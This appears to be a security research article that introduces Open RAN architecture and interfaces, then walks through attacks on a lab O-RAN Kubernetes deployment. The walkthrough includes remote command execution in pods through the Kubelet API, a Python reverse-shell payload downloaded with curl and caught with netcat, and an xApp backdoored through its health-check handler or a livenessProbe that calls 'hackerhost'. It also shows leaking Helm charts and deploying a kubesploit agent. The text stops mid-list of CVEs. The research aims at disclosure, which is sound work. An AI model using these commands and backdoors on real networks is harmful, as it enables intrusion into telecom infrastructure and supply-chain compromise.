Two years ago, communications in the telecommunication industry have sparked significant concern regarding the ease with which Open RAN could potentially be hacked [9][10], prompting a deeper exploration of its security implications for the mobile telecommunications sector and related fields. Open RAN, heralded as a transformative force in telecom infrastructure through its innovative standards and concepts, has not only captured the industry's attention for its ability to shift paradigms but also for the security challenges it may introduce, particularly in areas where integrity, confidentiality, and availability are paramount. Security experts have drawn parallels between the vulnerabilities in Open RAN and those found in cloud infrastructures relying on Docker and Kubernetes, underscoring the importance of scrutinizing OpenRAN's unique risk profile [1]. The discourse is further enriched by analyses that identify new interfaces Open RAN will introduce for interconnecting various network functions [2], highlighting potential attack vectors. Despite the wealth of small existing literature, the abstract nature of these risks has led to the initiation of this article, aiming to elucidate practical attack strategies against current Open RAN implementations and identify emerging threats. Employing the state-of-the-art open-source O-RAN [13] stack as a case study, this series seeks to shed light on the evolving security requirements of Open RAN. An examination of existing products that are "ready for commercial deployment" and compliant with O-RAN standards reveals a complex security landscape, necessitating a comprehensive analysis of risks under typical deployment scenarios [3]. This article sets the stage by introducing Open RAN, its predecessors, and its overarching architecture, followed by a detailed examination of the communication interfaces that could serve as attack vectors, and practical attack we can perform using O-RAN stack.
The Radio Access Network (RAN) serves as the critical conduit connecting user devices, such as mobile phones, to the mobile core network. This connection has been a cornerstone of mobile communication technologies from their inception, mainly starting in public with the GSM network's Global System for Mobile Communications Radio Access Network (GRAN). Over time, RAN has evolved into more advanced forms, including the E-UTRAN (Evolved Universal Terrestrial Radio Access Network) for 4G technologies and the NG-RAN (Next Generation Radio Access Network), laying the groundwork for future advancements. These networks are characterized by the integration of one or more Remote Radio Heads (RRHs) paired with a Baseband Unit (BBU) responsible for signal processing.
Each of these components is linked to the core network via a dedicated backhaul transport network, facilitating seamless communication between mobile devices and the core infrastructure as follows:
The initiative to "open" the Radio Access Network (Open RAN) has been underway for several years, targeting key challenges inherent to traditional RAN implementations within network architectures. These challenges include:
This project aims to address these issues by fostering a more open, interoperable, and competitive ecosystem, ultimately enhancing the flexibility, scalability, and cost-efficiency of network infrastructures.
Currently, the market is dominated by a few principal vendors:
Open RAN seeks to lower costs and foster innovation by introducing greater competition into the industry. It achieves this by ensuring that products are interoperable and modular, allowing components from different vendors to work seamlessly together.
The O-RAN architecture is designed to complement and enhance the existing 3GPP standards, representing an evolutionary step forward that integrates openness and intelligence into the radio access network, facilitating more flexible and efficient deployments.
The complexity of protocol stacks increases with the introduction of modern technologies and the evolution of the cellular network to 5G-NR SA currently by using traditional sub-6GHz bands as well as mmWave bands and bands over 100 GHz. Also, the future around 6G strengthening the cellular network accessibility for most IoT (Internet of Things) and IIoT systems are contributing to this complexity as we are used to seeing more heterogeneous systems in this industry. It is known that RAN is seen as a black-box solution that is an all-in-one solution, and the tasks of controlling and configuring the network, optimizing the resources, and using specific profiles were and are still complex for the maintainers.
To maintain these infrastructures, which have become increasingly complex, and to overcome the limitations of the current RAN, researchers in the mobile industry were working on multiple solutions:
The introduction of modern technologies and the transition of cellular networks to 5G-NR Standalone (SA) have significantly increased the complexity of protocol stacks. This complexity is exacerbated by the utilization of both traditional sub-6GHz bands and newer mmWave bands, as well as frequencies above 100 GHz. Looking ahead, the emergence of 6G aims to further enhance network accessibility for a wide array of Internet of Things (IoT) and Industrial IoT (IIoT) systems, leading to a more diverse and heterogeneous network landscape. Traditionally, Radio Access Networks (RAN) have been perceived as opaque, integrated solutions, where managing network control and configuration, optimizing resources, and applying specific profiles present considerable challenges for network maintainers.
To address the growing complexity and limitations of traditional RAN architectures, researchers and industry professionals have been exploring multiple innovative solutions:
These solutions represent a collective effort to modernize RAN infrastructure, making it more adaptable, cost-effective, and capable of meeting the evolving demands of the telecommunications landscape:
Open RAN seeks to transform RAN architecture by ensuring interoperability among various components and vendors, alongside enabling programmatic optimization through a centralized abstraction layer controller. This approach enhances market competitiveness, drives innovation, and accelerates update and upgrade cycles, while addressing compatibility issues across different vendors. Beyond the management and control of 3GPP-defined Radio Access Networks (RANs), Open RAN also aims to standardize the architecture through the integration of Artificial Intelligence (AI) and Machine Learning (ML) technologies. This strategic inclusion promises to streamline network operations and facilitate more intelligent, efficient network management and optimization.
The O-RAN specifications are designed to embody the principles of open interfaces and software-defined protocol stacks, building upon the foundation of 3GPP LTE and NR (New Radio) RAN standards. Specifically, they expand on the 3GPP NR 7.2 split for base stations, introducing greater flexibility and interoperability within RAN architectures.
As outlined by the O-RAN Alliance, the Open RAN architecture is structured to facilitate a more open, intelligent, and fully interconnected RAN ecosystem.
This architecture integrates advanced technologies and innovative approaches to network design and operation, aiming to enhance efficiency, reduce costs, and improve the adaptability and scalability of mobile networks:
The O-RAN specifications embody the principles of open interfaces and software-defined protocol stacks, building upon the foundation of 3GPP's LTE and NR (New Radio) RANs. They notably extend the 3GPP NR base station's 7.2 split, further detailed in the 3GPP specifications.
The Open RAN architecture, as outlined by the O-RAN Alliance, introduces a modular disaggregation of a gNB (next-generation NodeB) into several components:
Additionally, Open RAN defines two types of RAN Intelligent Controllers (RICs) to facilitate smarter network management and optimization:
The foundational layer of this architecture is the O-Cloud, which may constitute a straightforward physical server or a more complex cloud-based computing platform. This layer is tasked with virtualizing various network functions and can be distributed across multiple physical nodes.
This modular approach allows each function to be independently developed and provided by different vendors using standard hardware. Such a structure maintains interoperability among the diverse components within the Open RAN ecosystem, promoting flexibility and innovation.
In the 5G RAN architecture, the Distributed Unit (DU) serves as the baseband processing unit responsible for handling the processing tasks of the Layer 1 (Physical) and Layer 2 (Data Link) layers. Conversely, the Central Unit (CU) represents a novel component within 5G, tasked with managing Layer 3 functions, including connection management and mobility management.
With regard to hardware requirements, both the O-CU (Open Central Unit) and O-DU (Open Distributed Unit) can be virtualized on standard servers that are equipped with hardware acceleration capabilities, enhancing their performance. On the other hand, the Radio Unit (RU) demands more specialized hardware for signal processing tasks and is typically implemented using Field Programmable Gate Arrays (FPGAs), which may also be utilized within Software-Defined Radio (SDR) devices, or Application-Specific Integrated Circuits (ASICs).
The RU is primarily responsible for signal acquisition tasks such as OFDM/OFDMA processing, Fast Fourier Transform (FFT) and Inverse FFT operations, Cyclic Prefix insertion and removal, and precoding for specific categories of RUs. These processed signals are then forwarded to the O-DU for further handling. While it is possible for multiple RUs to connect to a single O-DU, the practicality of this setup depends on the performance capabilities of the O-DU and the quality of the connection between the O-DU and the RUs.
The O-DU oversees the management of the interface with the physical layer and the Medium Access Control (MAC) and Radio Link Control (RLC) layers. Meanwhile, the O-CU is responsible for the higher layers within the 3GPP protocol stack, including the Radio Resource Control (RRC), the Service Data Adaptation Protocol (SDAP) which orchestrates Quality of Service (QoS), and the Packet Data Convergence Protocol (PDCP) for managing air interface packet transmissions.
The introduction of RAN Intelligent Controllers (RICs) marks a significant advancement in RAN orchestration, employing Artificial Intelligence (AI) and Machine Learning (ML) to devise and implement control policies and actions across the RAN. This evolution enables a data-driven, closed-loop control mechanism, optimizing various RAN functionalities and features such as network slicing, load balancing, handovers, and scheduling policies.
The proposed deployment architecture by the O-RAN Alliance looks as follows:
The Non-Real-Time (non-RT) RIC, integral to the Service Management Orchestration (SMO) framework, complements the Near-Real-Time (near-RT) RIC by enabling intelligent RAN operations and optimizations over longer time scales (exceeding one second). It plays a pivotal role in guiding, providing enrichment information, and managing Machine Learning (ML) models for the near-RT RIC, thereby indirectly influencing operations across the SMO. Through the O1 interface, it aggregates data in standardized formats from the RAN, utilizing this information to refine traditional RAN functions. Positioned at a higher level within the network architecture, the non-RT RIC has access to extensive RAN data records accumulated over time, allowing it to identify and implement potential optimizations. Moreover, it interfaces with various data sources via the A1 interface to further enhance optimization efforts across:
The Near-RT RIC, situated at the network's edge, orchestrates control loops in under a second. It engages directly with the O-DUs and O-CUs within the RAN, as well as O-RAN compliant eNodeBs, interacting with multiple RAN nodes. This component houses numerous applications and services, including custom logic implementations known as xApps, which interact with the RAN components. The near-RT RIC notably enhances the operational efficiency of O-DUs by programmatically adjusting the scheduling behavior and other functionalities, offering real-time optimization capabilities.
By recalling the previous Open RAN architecture, we can see that different components are connected through several interfaces:
Let us introduce these interfaces further.
The O-RAN fronthaul interface, connecting an O-DU (Open Distributed Unit) to one or more O-RUs (Open Radio Units), is designed to be highly sensitive to latency. This interface encompasses four distinct functionalities or planes, which are integral to its operation:
These planes collectively facilitate comprehensive communication and management capabilities between the O-DU and O-RU(s), ensuring efficient and synchronized network operations.
While CPRI and eCPRI were initially intended to serve as open interfaces, they were in practice often treated as proprietary or "black box" solutions by various vendors. In response, Work Group 4 (WG 4) of the Open RAN initiative has been tasked with redefining these interfaces to ensure they are fully open and standardized, promoting interoperability and flexibility across different network components.
The Control Plane (C-Plane) is responsible for transmitting commands from the high-PHY layer in the Distributed Unit (DU) to the low-PHY layer in the Radio Unit (RU), encompassing a variety of critical functions:
This includes implementing a Licensed-Assisted Access (LAA) procedure for a "listen-before-talk" protocol in both the RU and DU, as well as facilitating dynamic spectrum-sharing, indicating which Physical Resource Blocks (PRBs) are allocated for shared use between LTE and NR technologies. C-Plane messages are encapsulated within eCPRI or IEEE 1914.3 standard headers and payloads, ensuring standardized communication protocols.
The User Plane (U-Plane) is tasked with the transfer of IQ (In-phase and Quadrature) samples between the O-DU and O-RU, facilitating the actual data transmission within the network.
The Synchronization Plane (S-Plane) ensures precise synchronization of time, frequency, and phase across the network, aligning the clocks of RUs and DUs with a shared clock reference to maintain coherence and reduce timing errors.
Finally, the Management Plane (M-Plane) handles the initialization, management, and configuration of connections between the RU and DU, employing the O1 interface for the configuration of the RU. This plane plays a crucial role in setting up and maintaining the network infrastructure, ensuring efficient and reliable communication between network elements.
Across the 4 different planes, we can encounter different data types (IQ data; timing and sync data; and command and control information):
There are diverse ways to split the RU, but O-RAN uses the concept of split-RAN that defines 8 different options:
O-RAN introduces a specific architectural concept known as the PHY Layer Split 7.2x, which delineates the distribution of functional modules between Low-PHY and High-PHY layers. This split is designed to optimize the processing workload between the Radio Unit (RU) and the Distributed Unit (O-DU) by allocating certain tasks to the most suitable component, particularly to enhance efficiency and performance in both uplink and downlink transmissions.
For the Uplink (UL), the RU handles several critical processing tasks including:
For the Downlink (DL), the processing roles assigned to the RU include:
The remaining processing tasks are performed by the O-DU. This split approach allows for a more efficient distribution of processing responsibilities, leveraging the strengths of each unit to improve overall network performance and flexibility.
This interface connects the SMO and the near-RT RIC to deploy policy-based guidance, ML models, and enrichment information.
The Near-Real-Time RIC utilizes the information provided to configure the E2 nodes through the E2 interface, ensuring efficient and optimized network operations.
To safeguard the integrity, authenticity, and confidentiality of communications, the implementation of TLS (Transport Layer Security) encryption is optional. While no User Plane data is transmitted over the A1 interface, the potential compromise by external threats could still adversely impact the quality of service. Thus, securing these communications is crucial to maintaining network performance and reliability.
This interface sets up a crucial connection between the Near-Real-Time RIC, RAN nodes, the Service Management and Orchestration (SMO) framework, and the Non-Real-Time RIC, primarily facilitating operations and maintenance tasks. It underpins Management Services (MnS), enabling the SMO to implement heartbeat messages. These messages are essential for monitoring the availability of services and nodes and for managing both Virtual and Physical Network Functions (V/PNFs).
Additionally, the interface supports various functions that contribute to the SMO's capabilities in data analytics and the collection of performance metrics for AI/ML applications. It also enables the execution of bulk transfers for software updates or configuration changes. This process typically initiates with a notification from the MnS provider and culminates in an SFTP (Secure File Transfer Protocol) transfer, ensuring secure and efficient updates and modifications.
This interface serves as the link between the Service Management and Orchestration (SMO) framework and cloud infrastructure, facilitating the management of the Core network components.
It is specifically designed to interact with Network Functions Virtualization (NFV), Open Network Automation Platform (ONAP), or Open Source MANO (OSM) systems, streamlining the orchestration and operation of virtualized network functions within the core network.
The E2 interface facilitates communication between the Near-Real-Time RIC and the E2 nodes through two main protocols:
The E2 Application Protocol defines the communication mechanisms between the near-RT RIC and E2 nodes, offering a suite of services to manage and optimize RAN operations:
Together, these protocols and services provide a comprehensive framework for dynamic and efficient RAN management, leveraging the capabilities of the near-RT RIC to enhance network performance and reliability.
On a lower level, E2 handles interface management:
The following example shows an E2 setup procedure and E2SM KPM:
Previous research shows that new 5G core network architectures change entirely by replacing the different hosts with functions that can be queried using API REST request:
Recent advancements in network architecture necessitate the implementation of enhanced security measures, particularly to address issues with GTP-C and GTP-U packet encapsulation [7] and to replace outdated SCTP interfaces within the core network with more secure REST API interfaces.
However, these modifications also pivot the nature of potential attacks towards web-based vulnerabilities, introducing risks more characteristic of the web ecosystem, such as serialization flaws, web server exploits, and interpreter vulnerabilities. This shift suggests that future cybersecurity efforts need to be increasingly focused on mitigating web-related threats.
Evidence from various 5G security hackathons, we have also participated and won with respective team [6], has practically demonstrated the dangers posed by inadequately isolated assets and poorly configured Network Repository Function (NRF) accesses, which can empower attackers to gain comprehensive control over targeted core networks. In response, specialized tools, including one of our Burp Suite plugins, have been developed to address these specific vulnerabilities [8].
While the exposure of the User Plane Function (UPF) and GTP nodes presents significant risks if not properly safeguarded, the introduction of Open RAN architecture broadens the spectrum of potential attack vectors. This expanded attack surface underscores the need for robust and adaptive security measures to protect against an evolving landscape of threats.
As indicated earlier, Open RAN employs NG-C and NG-U interfaces for communication with the core network. While these specific interfaces might not be directly exposed to potential attackers on the Open RAN side, other interfaces within the architecture could be vulnerable to external threats.
Indeed, we should also remember that all the parts of the Open RAN infrastructure can be disaggregated following different scenarios as follows:
In Open RAN, the architectural disaggregation involves utilizing a Virtual Machine for each Near-RT RIC and Non-RT RIC, within which containers are hosted and run inside Kubernetes pods. This setup underscores the shift towards a more modular and flexible network infrastructure.
However, leveraging cloud technology introduces potential security vulnerabilities, particularly if the Open RAN components are not adequately isolated or if services are inadvertently exposed to public networks. Such exposures could provide attackers with unintended access to the network infrastructure.
At MCH2022, Karsten Nohl highlighted new risks associated with Open RAN architectures [1], although the specifics regarding external entry points remained somewhat ambiguous. This area presents an intriguing subject for further investigation, particularly in understanding how Kubernetes and the Open RAN framework might inadvertently expose interfaces to potential attackers, especially in the context of deploying applications within the Near-RT RIC environment. Exploring these vulnerabilities is crucial for strengthening the security posture of Open RAN networks.
To illustrate potential vectors of attacks from the outside, we will simulate the following architecture:
To identify potential Kubernetes interfaces, we can use scanners like Kube-hunter, which gives an excellent overview of the exposed interfaces by hosts:
$ python3 kube-hunter.py
Choose one of the options below:
1. Remote scanning (scans one or more specific IPs or DNS names)
2. Interface scanning (scans subnets on all local network interfaces)
3. IP range scanning (scans a given IP range)
Your choice: 3
CIDR separated by a ',' (example - 192.168.0.0/16,!192.168.0.8/32,!192.168.1.0/24): 10.0.2.10/24
2022-10-11 13:33:34,153 INFO kube_hunter.modules.report.collector Started hunting
2022-10-11 13:33:34,154 INFO kube_hunter.modules.report.collector Discovering Open Kubernetes Services
2022-10-11 13:33:34,259 INFO kube_hunter.modules.report.collector Found open service "Etcd" at 10.0.2.100:2379
2022-10-11 13:33:34,266 INFO kube_hunter.modules.report.collector Found open service "Kubelet API" at 10.0.2.100:10250
2022-10-11 13:33:34,291 INFO kube_hunter.modules.report.collector Found open service "API Server" at 10.0.2.100:6443
2022-10-11 13:33:34,304 INFO kube_hunter.modules.report.collector Found vulnerability "K8s Version Disclosure" in 10.0.2.100:6443
This allows us to discover interesting nodes and services directly:
Nodes
+-------------+------------+
| TYPE | LOCATION |
+-------------+------------+
| Node/Master | 10.0.2.100 |
+-------------+------------+
Detected Services
+-------------+------------------+----------------------+
| SERVICE | LOCATION | DESCRIPTION |
+-------------+------------------+----------------------+
| Kubelet API | 10.0.2.100:10250 | The Kubelet is the |
| | | main component in |
| | | every Node, all pod |
| | | operations goes |
| | | through the kubelet |
+-------------+------------------+----------------------+
| Etcd | 10.0.2.100:2379 | Etcd is a DB that |
| | | stores cluster's |
| | | data, it contains |
| | | configuration and |
| | | current |
| | | state |
| | | information, and |
| | | might contain |
| | | secrets |
+-------------+------------------+----------------------+
| API Server | 10.0.2.100:6443 | The API server is in |
| | | charge of all |
| | | operations on the |
| | | cluster. |
[...]
This approach also highlights vulnerabilities, such as the exposure of interfaces without proper authentication mechanisms in place, thus signaling potential security risks:
To gain insights into the interface's details, we can query specific endpoints. For instance, querying the version of the Kubernetes API server:
$ curl -k -X GET https://10.0.2.100:6443/version
{
"major": "1",
"minor": "16",
"gitVersion": "v1.16.0",
"gitCommit": "2bd9643cee5b3b3a5ecbd3af49d09018f0773c77",
"gitTreeState": "clean",
"buildDate": "2019-09-18T14:27:17Z",
"goVersion": "go1.12.9",
"compiler": "gc",
"platform": "linux/amd64"
}
This command returns comprehensive version information about the API server, including the major and minor versions, git commit hash, build date, and more.
Additionally, we can check the health status of the API server:
$ curl -k -X GET https://10.0.2.100:6443/healthz
ok
This command verifies that the API server is operational with an OK response.
However, in the context of Open RAN, access to more sensitive endpoints is typically restricted. For instance, attempting to list the pods without proper authentication yields an unauthorized error:
$ curl -k -X GET https://10.0.2.100:6443/api/v1/pods
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "Unauthorized",
"reason": "Unauthorized",
"code": 401
}
This response indicates that the endpoint is secured and requires appropriate credentials to access the requested information, underscoring the importance of authentication in protecting sensitive operations within the Open RAN architecture.
On the Kubelet interface, it's evident that information regarding the pods in use cannot be accessed by unauthenticated users:
$ curl -k -X GET https://10.0.2.100:10250/pods
Unauthorized
This indicates that, by default, authentication is required to access this information.
However, if the anonymous access mode is enabled ("true") and the authentication policy is set to "AlwaysAllow," sensitive cluster information could potentially be exposed.
This may include details such as pod names, the locations of internal files, and various other critical data points, underscoring the importance of secure configuration settings to prevent unauthorized access and data leakage:
Caution: as mentioned before, this exposition is unlikely to happen if this service is not intentionally exposed by default.
While protection against unauthenticated access is crucial, it's equally important to scrutinize the privileges granted to authenticated users across different namespaces. Specifically, if a standard user has the ability to read secrets from all namespaces or make arbitrary web requests, there exists a significant risk of sensitive information being compromised.
Moreover, the concerns extend beyond mere data access. Should an unauthorized user gain full access to this interface, they might also have the capability to execute arbitrary commands on the pods, presenting a severe security risk as demonstrated below:
Using the kubeletctl tool, we can attempt to compromise all pods, particularly those with elevated privileges:
[*] Running command on all pods
1. Pod: kube-controller-manager-openric
Namespace: kube-system
Container: kube-controller-manager
Url: https://10.0.2.100:10250/run/kube-system/kube-controller-manager-openric/kube-controller-manager
Output:
container not found ("kube-controller-manager")
[…]
10. Pod: deployment-ricplt-alarmmanager-56d79dc55-6ghfs
Namespace: ricplt
Container: container-ricplt-alarmmanager
Url: https://10.0.2.100:10250/run/ricplt/deployment-ricplt-alarmmanager-56d79dc55-6ghfs/container-ricplt-alarmmanager
Output:
root
[…]
28. Pod: r4-infrastructure-prometheus-alertmanager-5798b78f48-5rf7s
Namespace: ricplt
Container: prometheus-alertmanager-configmap-reload
Url: https://10.0.2.100:10250/run/ricplt/r4-infrastructure-prometheus-alertmanager-5798b78f48-5rf7s/prometheus-alertmanager-configmap-reload
Output:
nobody
[*] Running command on all pods
1. Pod: kube-controller-manager-openric
Namespace: kube-system
Container: kube-controller-manager
Url: https://10.0.2.100:10250/run/kube-system/kube-controller-manager-openric/kube-controller-manager
Output:
container not found ("kube-controller-manager")
[…]
10. Pod: deployment-ricplt-alarmmanager-56d79dc55-6ghfs
Namespace: ricplt
Container: container-ricplt-alarmmanager
Url: https://10.0.2.100:10250/run/ricplt/deployment-ricplt-alarmmanager-56d79dc55-6ghfs/container-ricplt-alarmmanager
Output:
root
[…]
28. Pod: r4-infrastructure-prometheus-alertmanager-5798b78f48-5rf7s
Namespace: ricplt
Container: prometheus-alertmanager-configmap-reload
Url: https://10.0.2.100:10250/run/ricplt/r4-infrastructure-prometheus-alertmanager-5798b78f48-5rf7s/prometheus-alertmanager-configmap-reload
Output:
nobody
[...]
This approach enables us to compromise containers, potentially leveraging kernel vulnerabilities or exploiting aspects such as cgroup or hostPID to navigate and escalate privileges.
In a scenario where we have the ability to execute arbitrary commands due to anonymous access to the Kubelet API or leaked secrets from an application allowing us to interact with a container, we can inject commands to establish a reverse shell environment.
To begin, we'll create a simple online reverse shell and save it to a file, assuming the target has the curl and python3 binaries installed:
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.2.10",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
And upload it to the container we can compromize:
$ ./kubeletctl_linux_amd64 run "curl http://10.0.2.10:4000/temp.py --output temp.py" -p deployment-ricplt-e2term-alpha-84d4db76d6-cfbd4 -n ricplt -c container-ricplt-e2term -s 10.0.2.100
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 189 100 189 0 0 94500 0 --:--:-- --:--:-- --:--:-- 184k
Next, let's grant full permissions to this file:
[~/kubeletctl/build]
└─$ ./kubeletctl_linux_amd64 run "chmod 777 temp.py" -p deployment-ricplt-e2term-alpha-84d4db76d6-cfbd4 -n ricplt -c container-ricplt-e2term -s 10.0.2.100
Then, execute the file within the container:
[~/kubeletctl/build]
└─$ ./kubeletctl_linux_amd64 run "python3 temp.py" -p deployment-ricplt-e2term-alpha-84d4db76d6-cfbd4 -n ricplt -c container-ricplt-e2term -s 10.0.2.100
[…]
On our side, we handle the incoming connection using netcat:
$ nc -l -p 6666
# ls
ls
config e2 rmr_probe router.txt.stash.inc temp.py
dockerRouter.txt log router.txt startup.sh
Optionally, we can upgrade to a fully interactive TTY shell directly with Python:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Once we have a shell, we can explore further, and attempt to escape the Docker container.
However, let's explore another intriguing interface we may interact with before that.
The etcd stores critical cluster secrets, configuration files, and other sensitive data.
To test this access, we can attempt to contact this interface using the etcdctl tool and check if we can retrieve secrets anonymously:
$ etcdctl -endpoints=http://10.0.2.100:2379 get / -prefix -keys-only
Error: client: etcd cluster is unavailable or misconfigured; error #0: EOF
error #0: EOF
As observed, this interface is also well-configured by default in the Open RAN framework.
A xApp, or cross-application, is a micro-service used for various purposes, including radio resources management and other functionalities. It comprises a container running an application, which will be further elaborated in this documentation.
If the Appmanager is exposed to a public interface and configured by default, attackers could potentially onboard any application they desire within the Open RAN infrastructure. However, it's important to note that while this may grant access for onboarding, it does not necessarily mean that the attacker can deploy it. Nonetheless, there remains a risk of future versions of a xApp being compromised or backdoored.
To begin, the Appmanager interface can be spotted by identifying a ChartMuseum exposed by an arbitrary TCP port. Following the example, we can find this interface on TCP port 8090:
# nmap -A 10.0.2.100
[…]
PORT STATE SERVICE VERSION
[…]
8090/tcp open opsmessaging?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html
| X-Request-Id: cf122339-6f7f-4196-aa83-a1ab09da314a
| Date: Wed, 12 Oct 2022 09:20:43 GMT
| Content-Length: 547
| <!DOCTYPE html>
| <html>
| <head>
| <title>Welcome to ChartMuseum!</title>
Open RAN provides a command-line tool dms_cli for onboarding new xApp applications, which can be used with remote servers. To test the tool remotely, we can check the status of the service as follows:
export CHART_REPO_URL=http://10.0.2.100:8090
$ dms_cli health
True
If the response is positive, then we can proceed by developing a small Proof of Concept (PoC) for a backdoor that will provide a remote shell on the server.
To do that, we can directly take one of the "Hello World!" (ric-app-hw) xApp examples available for some languages:
For convenience, we can clone the Python repository and change a few things in init/config-file.json:
$ cat config-file.json
{
"name": "hw-python",
"version": "1.0.1",
"containers": [
{
"name": "hw-python",
"image": {
"registry": "attackerregistry.tld:10004",
"name": "ric-app-hw-python",
"tag": "1.0.1"
}
}
],
[…]
Then, we can modify the main scripts or a Handler in the tree to implement the PoC. For instance, we can use the HealthCheckHandler.py and add the payload to hackwxapp.py as an example:
.
├── handler
│ ├── A1PolicyHandler.py
│ ├── _BaseHandler.py
│ ├── HealthCheckHandler.py
│ ├── __init__.py
│ └── SubscriptionHandler.py
├── hackwxapp.py
[...]
By modifying the HealthCheckHandler.py script, we can trigger a reverse-shell after triggering the health check action:
import json
from ricxappframe.xapp_frame import RMRXapp
from ..utils.constants import Constants
from ._BaseHandler import _BaseHandler
import socket,os,pty
import threading
class HealthCheckHandler(_BaseHandler):
def __init__(self, rmr_xapp: RMRXapp, msgtype):
super().__init__(rmr_xapp, msgtype)
def request_handler(self, rmr_xapp, summary, sbuf):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("hackerhost",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
Alternatively, we can reduce the amount of work by using liveness probes inside the previous config-file.json. This allows us to execute commands as well:
[…]
"livenessProbe": {
"exec": {
"command": ["python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("hackerhost",6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'"]
},
"initialDelaySeconds": "5",
"periodSeconds": "15"
},
[…]
Once it is done, we can onboard the application using dms_cli as follows:
$ dms_cli onboard --config_file_path=config-file.json --shcema_file_path=schema.json
{
"status": "Created"
}
In case of a success, we can list onboarded xApps remotely like so:
$ curl -X GET http://10.0.2.100:8090/api/charts | jq .
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 289 100 289 0 0 6422 0 --:--:-- --:--:-- --:--:-- 6422
{
"hw-python": [
{
"name": "hw-python",
"version": "1.0.1",
"description": "Standard xApp Helm Chart",
"apiVersion": "v1",
"appVersion": "1.0",
"urls": [
"charts/hw-python-1.0.1.tgz"
],
"created": "2022-10-21T13:14:52.786219853Z",
"digest": "91502ddf0239c5dec97b4f03730962aa0f997f3873de05a3657202bed5afd5ed"
}
]
}
However, attempting to install it in the ricxapp namespace remotely without configuring any token or client certificate to access the Kubernetes API server will result in being blocked. This is a result of the default Open RAN configuration:
$ helm install hw-python ./hw-python --namespace=ricxapp --kube-insecure-skip-tls-verify
Error: INSTALLATION FAILED: unable to build kubernetes objects from release manifest: unknown
Therefore, we must wait until someone with credentials installs or upgrades the xApp with the backdoored one.
An example of installing a backdoored xApp:
# dms_cli install --xapp_chart_name=hw-python --version=1.0.1 --namespace=ricxapp
status: OK
Once the "latest version" of the xApp is deployed, we can wait until the reverse shell is triggered and continue the tests inside a container.
Backdooring a Chart is not the only risk. Indeed, the code of a chart can also be stolen through this Chart and can allow a potential attacker to search for vulnerabilities inherent to the xApp stored in the exposed Chart.
To obtain an xApp, we can use dms_cli to download the Helm chart application as follows:
$ dms_cli download_helm_chart hw-python 1.0.0 --output_path=LeakedApps
status: OK
The source of the xApp is then available in our local directory LeakedApps, and we proceed by examining the downloaded archive in that directory:
$ ls LeakedApps
hw-python-1.0.0.tgz
This allows us to investigate all leaked xApps to find potential vulnerabilities, gain access to docker containers, extract secrets for reuse on the infrastructure, and more.
Once we have accessed the container used in an Open RAN infrastructure, we also want to find our way out.
In this situation, we can use well-known several tools to automate the research of configuration mistakes, along with manual enumeration:
Starting with kubesploit, which was developed to focus on Kubernetes, we need to install an agent that will fingerprint the compromised container to search for vulnerabilities:
### To use on the compromized docker container
# curl http://10.0.2.10:4000/agent
curl http://10.0.2.10:4000/agent
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
# curl http://10.0.2.10:4000/agent --output agent
curl http://10.0.2.10:4000/agent --output agent
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 32.5M 100 32.5M 0 0 119M 0 --:--:-- --:--:-- --:--:-- 119M
# chmod +x agent
chmod +x agent
# ./agent -url https://10.0.2.10:9443
Running the server from our side, we can see the agent connecting to it:
### to run on a public server in the attacker side
[~/kubesploit]
└─$ ./server
[…]
[+] Started HTTP2 listener on 0.0.0.0:9443
kubesploit»
[+] New authenticated agent checkin for b6124b21-23f5-4fdd-ad96-cc1f49c8604d from 10.0.2.100:7377 at 2022-10-12T17:41:47Z
kubesploit»
After that, the same way as using Metasploit, we can call a module that will scan for vulnerabilities inside the container:
kubesploit» use module linux/go/clusterCVEScan
[…]
kubesploit[module][K8sClusterCVEScan]» set url https://10.0.2.100:6443
kubesploit[module][K8sClusterCVEScan]»
[+] url set to https://10.0.2.100:6443
kubesploit[module][K8sClusterCVEScan]»
kubesploit[module][K8sClusterCVEScan]» run
kubesploit[module][K8sClusterCVEScan]»
[-] Created job dpTPOoQyHE for agent b6124b21-23f5-4fdd-ad96-cc1f49c8604d at 2022-10-12T17:43:23Z
[+] Results for b6124b21-23f5-4fdd-ad96-cc1f49c8604d job dpTPOoQyHE at 2022-10-12T17:43:30Z
[*] Scanning Kubernetes cluster: https://10.0.2.100:6443/version
[*] Current cluster version: v1.16.0
[*] ID: CVE-2019-11253
[*] Description: Kubernetes billion laughs attack vulnerability that allows an attacker to perform a Denial-of-Service (DoS)
attack on the Kubernetes API server by uploading a maliciously crafted YAML file.
[*] Fixed versions: 1.13.12, 1.14.8, 1.15.5, 1.16.2
[*] ID: CVE-2019-11254
[*] Description: The Kubernetes API Server component in versions 1.1-1.14, and versions prior to 1.15.10, 1.16.7
and 1.17.3 allows an authorized user who sends malicious YAML payloads to cause the kube-apiserver to consume excessive CPU cycles while parsing YAML.
[*] Fixed versions: 1.15.10, 1.16.7, 1.17.3
[*] ID: CVE-2020-8558
[*] Description: The kubelet and kube-proxy were found to contain security issue
which allows adjacent hosts to reach TCP and UDP services bound to 127.0.0.1 running on the node or in the node's network namespace.
Such a service is generally thought to be reachable only by other processes on the same host,
but due to this defeect, could be reachable by other hosts on the same LAN as the node, or by containers running on the same node as the service.
[*] Fixed versions: 1.16.11, 1.17.7, 1.18.4, 1.16.2
[*] ID: CVE-2020-8559
